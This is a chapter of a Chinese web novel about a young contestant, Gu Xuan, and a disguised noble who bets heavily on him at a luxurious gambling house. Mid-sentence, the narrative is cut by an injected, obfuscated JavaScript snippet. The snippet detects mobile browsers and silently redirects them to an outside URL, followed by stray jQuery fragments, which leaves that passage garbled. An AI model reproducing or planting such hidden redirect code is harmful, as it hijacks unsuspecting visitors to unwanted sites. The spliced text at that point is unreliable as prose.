顾暄起身将小窗关小了些,避免这风闪了这位风流公子的腰。擂台下献唱的是一位江南歌女,吴音软侬,不同于前面几位登台的西北或京城地区的歌女,她的歌声温软动听,如同山间缓缓流淌的小溪、清晨百谷鸟清脆的鸣声。
刚刚一曲终了,三层楼喝彩声不断,扔下朵朵饱满的娇花,以此来表达对这位女子歌声的赞美。花香与乐声缠绵,那眉心画着花钿的女子在飘落的花瓣雨里抬起头盈盈一笑,起身敛衽一礼。
顾暄留了一条缝,那窗外的歌声得顺着这条缝溜进来,一时间歌声模糊了一些,倒像隔着云雾听曲。
靳公子摇着折扇笑看顾暄站起身关窗,即将离开时他又折返。靳公子以为他回心转意,精神一振,问:“怎么?”
顾暄没落下什么东西,只是脸上一副沉思的表情,问:“你赌博么?赌的话给我下注吧,说不定就赢了呢。”
“所以这就是您这会过来的原因?”一位身着黑色长衫的中年男子恭恭敬敬地立于靳公子身侧,微微俯身出言询问。
靳公子坐在两面深紫色帘子后,帘子前充斥着各种声音,喝彩声、喊叫声、欢呼声和懊恼声,每一个赌徒的声音。
这里的门前写着一副奇奇怪怪的对联,门后的墙壁是用金色颜料混着金粉刷的,每隔一个包间墙上就挂着价值不菲的书画,时不时能听到的筹码撞击的声音。这里的照明珠将黑夜照得宛若白天,这里的弦歌可以彻夜不断,这里将纸醉金迷写到极致。
这里是京城最繁华的醉华亭。
靳公子手腕一抖,那折扇打开,映入眼帘的是四个草书大字——公子王孙,狂傲之气扑面而来。
他点点头,语气随意,“是啊,所以我就过来了。”
男子一时摸不透这位爷的心思,便维持着那个姿势出言提醒:“这位公子虽然天赋异禀,但败在年纪轻,押他的人不多。要是他年长几岁说不定胜算更大些。您确定要将赌注押在他一个人身上?不如分一部分到其他人身上?”
眼前这人喜好一向让人捉摸不透。曾有热衷献媚的人自认为摸清他的喜好,一连三次设宴请他过去。靳公子一连三次都不按这人的套路走,所以至今很少人知道他的喜好,只知道这人喜好无常,上一秒喜欢的东西可能下一秒就扔了。
靳公子听了会帘外的声音,忍不住按了按一侧太阳穴,似乎是觉得这声音吵闹。他说:“不必,此子性非池中物,更何况少年天才哪能以年纪论之?输了就输了,当买个乐子玩玩。”
那男子不敢多言,即刻照做,心下却想靳公子这乐子可真贵,他要是押输了得赔不少钱,估计他南郊那几亩地都要赔出去了。
更何况,那位诞辰将近,靳公子要操心宴席流程,今晚怎么得空来这里了?这位公子什么来头?让他一副陪着玩儿的作派?
下一秒,靳公子的视线扫过来。猝不及防与那双墨色的眼睛对视上,那男人立即低头告罪,待听见那句轻飘飘的“没事”后才告退,一出包间才发觉后背渗着一层汗。
第二日,京城在云庄大选上押了注的人发现,原本败率最高的人有人下注了,而且下的还不少。
一些人觉得这叫古月的人实在是人傻钱多,另一些人觉得不太对劲,想暗中调查一下这人的背景,却发现这人就像一张白纸,除了一个名字,是男是女和家自何处等一概不知。
第七日,顾暄在街上碰见李无逍,被他一把薅住肩膀。李无逍说:“顾兄,你知道有人拿云庄大选做赌么?有个人押了你,而且下注还不少。”
“是么?”顾暄露出一点恰到好处的惊讶,“谁啊?会押我?”
他心里直犯嘀咕,不会是靳公子真的去下注了吧?
在听到那个数字再加上赔率后,饶是东平王次子也瞪大了眼睛。他要是输了,靳公子岂不是连家底都输光了?
李无逍长吁短叹,“我的天呐,看到这个我真的惊到了。这古月是谁?你相好?怎么对你这么信任?”
顾暄:“…你相好。我刚来京城哪认识什么相好?没准是我的崇拜者吧。”
看李无逍的表情,估计是对这人厚如城墙的脸皮甘拜下风了。
顾暄问:“现在押谁最多?”
李无逍指了指自己,示意道:“我。”
顾暄“诶”了一声,“太好了,你最高我最低,咱俩走一块了。”
李无逍扎着一个马尾,那截头发随着他走路一晃一晃的,他走在前头,手枕在脑后。闻言他乐了,“你别说什么高低的,昨天我福至心灵,也给你押了点钱……”
顾暄震惊得停住脚步,一时间有些无法理解这人的脑回路。
李无逍说:“不知道为啥,明明你是最少人押的那个人,我却感觉你不一样。”
顾暄想起李无逍在大赌中必输的习惯,干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278653|198315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巴巴地笑了几声,笑声像两块石头摩擦出来的。他心想按李无逍的运气,他就真得完了。
于是顾暄劝道:“大赌伤身,李兄不如把钱押给自己,多几分胜算。”
李无逍不在意地摆摆手,道:“小赌小赌,没事的。我还给秀格押了……”
他话音未落,一个黑纱覆面的姑娘就与他们擦肩而过,李无逍那没说完的话卡在那里不上不下,只得露出一双透着点愚蠢的杏眼目送人家的背影。
秀格听到自己的名字,抬眼扫了李无逍一眼,李无逍登时绷紧后背。没参与李无逍谈话的顾暄逃过一劫,秀格连一个眼神也没分给他。
被李无逍一带,顾暄也停在原地。等秀格走了过去顾暄才回过神来,心想这李无逍是不是跟秀格气场不合啊?
李无逍转头看了看秀格,那人的背影已经消失在人群中了。李无逍转头问:“顾兄,你和秀姑娘是我唯二两个记得的名字,我说我就因为这个给你们押注,不是因为我变态,你说秀姑娘信吗?”
刚才还秀格,现在就秀姑娘了。
顾暄确认秀格已经走远后,摊了摊双手,神情真挚,“不知道啊。”
第八日晚上,月色如流水般洒在地面上,夜间温度低,此时已经是九月上旬了。某处安静的宫殿里,壁炉里燃起火焰,暖意在这处空间里蔓开,靳公子一袭月白色长衫,正和对面人手谈。
若顾暄在场,看到靳公子的面容必定会惊讶。原因无他,靳公子此时的面容不是顾暄以前所见的面容。
对面人落下一子,“朕听说你最近在赌坊里下注不少。”
靳公子执棋未落,没有抬头,目光落在棋局上,“换了个假名的,兴致上来了玩一把,皇兄不必担心。”
对面人耐心地等他落棋,在这空隙甚至还接过一旁侍候的灰衣人端着的茶水,低头饮了一口。
“你给谁下注了?”
靳公子落下一子,总算觉得舒服了些,他换了下坐姿,道:“顾暄,日字旁那个暄,是柳青的次子,我觉着这人有意思,便跟他多说了几句话。”
靳公子觉得有意思的人……肯为他下了那么大的赌注,仅仅是因为多说了几句话的关系?
对面人拿着棋子的手一顿,灰衣人默然上前将他手中的茶盏接过来。那人扫了眼棋局,落棋,然后是一句轻轻的话。
“是他啊,朕还没见过他呢。”